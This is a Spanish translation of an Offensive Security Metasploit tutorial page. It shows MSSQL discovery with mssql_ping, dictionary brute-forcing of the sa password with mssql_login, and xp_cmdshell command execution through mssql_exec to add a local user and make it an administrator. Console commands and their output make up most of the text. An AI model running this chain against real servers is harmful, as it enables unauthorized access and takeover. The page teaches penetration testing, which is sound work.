Buscando MSSQL

De www.metasploit-es.com.ar

Buscando MSSQL


Uno de mis favoritos es la huella avanzada UDP de MSSQL servers. Si esta realizando un prueba de penetración interna, esta es una herramienta que debería tener. Cuando se instala MSSQL, se instala en el puerto 1433 TCP o un puerto aleatorio TCP dinámico. Si el puerto es generado dinamicamente, puede ser complicado para un atacante conseguir los servidores de MSSQL a los cual atacar.Por suerte Microsoft, no ha bendecido con el puerto 1434 UDP, una vez que se ha consultado, nos permite conseguir una pequeña información sobre los servidores SQL incluyendo que puertos TCP esta a la escucha. Carguemos el modulo y usemoslo para descubrir múltiples servidores.

msf > search mssql
[*] Searching loaded modules for pattern 'mssql'...
Exploits
========
  Name                                       Description
  ----                                       -----------
  windows/mssql/lyris_listmanager_weak_pass  Lyris ListManager MSDE Weak sa Password
  windows/mssql/ms02_039_slammer             Microsoft SQL Server Resolution Overflow
  windows/mssql/ms02_056_hello               Microsoft SQL Server Hello Overflow
  windows/mssql/mssql_payload                Microsoft SQL Server Payload Execution
Auxiliary
=========
  Name                       Description
  ----                       -----------
  admin/mssql/mssql_enum     Microsoft SQL Server Configuration Enumerator
  admin/mssql/mssql_exec     Microsoft SQL Server xp_cmdshell Command Execution
  admin/mssql/mssql_sql      Microsoft SQL Server Generic Query
  scanner/mssql/mssql_login  MSSQL Login Utility
  scanner/mssql/mssql_ping   MSSQL Ping Utility
msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options
Module options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target address range or CIDR identifier
  THREADS  1                yes       The number of concurrent threads
msf auxiliary(mssql_ping) > set RHOSTS 10.211.55.1/24
RHOSTS => 10.211.55.1/24
msf auxiliary(mssql_ping) > run
[*] SQL Server information for 10.211.55.128:
[*] tcp = 1433
[*] np = SSHACKTHISBOX-0pipesqlquery
[*] Version = 8.00.194
[*] InstanceName = MSSQLSERVER
[*] IsClustered = No
[*] ServerName = SSHACKTHISBOX-0
[*] Auxiliary module execution completed

El primer comando que usamos fue para buscar cualquier plugins "mssql". La segunda instrucción "use scanner/mssql/mssql_ping", esto carga el modulo de escaner para ser usado por nosotros. Lo siguiente, "show options" nos permite ver las opciones que necesitamos especificar. El "set RHOSTS 10.211.55.1/24" establece el rango de subred donde queremos empezar a buscar los servidores SQL. Puede especificar /16 o el que quiera después. Yo recomendaría incrementar el numero de threads ya que podría tardar mucho tiempo con un solo threads en el escaner.

Después que se usa el comando "run", se realiza un análisis y regresa la información sobre el servidor MSSQL. Como se puede ver, el nombre del computador "SSHACKTHISBOX-0" y el puerto TCP 1433 donde se esta ejecutando. En este punto podría utilizar el modulo "scanner/mssql/mssql_login" para realizar brute-force a la contraseña pasandole al modulo un archivo de diccionario.

msf  > use scanner/mssql/mssql_login
msf auxiliary(mssql_login)> show options

"La primera línea de arriba te permiten entrar al módulo de Fuerza bruta de Mssql propuesto por metaesploit, con la segunda línea puedes ver las opciones de este módulo para obtener los resultados esperados"

También puede utilizar Fast-Track, medusa, o hydra para hacer esto. Una vez conseguida la contraseña, hay un pequeño modulo para ejecutar el xp_cmdshell con procedimientos almacenados.


msf auxiliary(mssql_login) > use admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > show options
Module options:
  Name        Current Setting                                       Required  Description
  ----        ---------------                                       --------  -----------
  CMD         cmd.exe /c echo OWNED > C:\owned.exe                  no        Command to execute
  HEX2BINARY  /pentest/exploits/framework3/data/exploits/mssql/h2b  no        The path to the hex2binary script on the disk
  MSSQL_PASS                                                        no        The password for the specified username
  MSSQL_USER  sa                                                    no        The username to authenticate as
  RHOST                                                             yes       The target address
  RPORT       1433                                                  yes       The target port
msf auxiliary(mssql_exec) > set RHOST 10.211.55.128
RHOST => 10.211.55.128
msf auxiliary(mssql_exec) > set MSSQL_PASS password
MSSQL_PASS => password
msf auxiliary(mssql_exec) > set CMD net user rel1k ihazpassword /ADD
cmd => net user rel1k ihazpassword /ADD
msf auxiliary(mssql_exec) > exploit
The command completed successfully.
[*] Auxiliary module execution completed

Viendo la linea "net user rel1k ihazpassword /ADD", hemos agregado una cuenta de usuario llamado "rel1k", desde aquí podemos usar "net localgroup administrators rel1k /ADD" para obtener un administrador local en el sistema. En este punto tenemos el control total del sistema.

<para versiones de windows en español la sintaxis cambia>

Viendo la linea "net user rel1k ihazpassword /ADD", hemos agregado una cuenta de usuario llamado "rel1k", desde aquí podemos usar "net localgroup Administradores rel1k /ADD" para obtener un administrador local en el sistema. En este punto tenemos el control total del sistema.



© Offensive Security 2009

Original by www.offensive-security.com
Traslated by Jhyx
Herramientas personales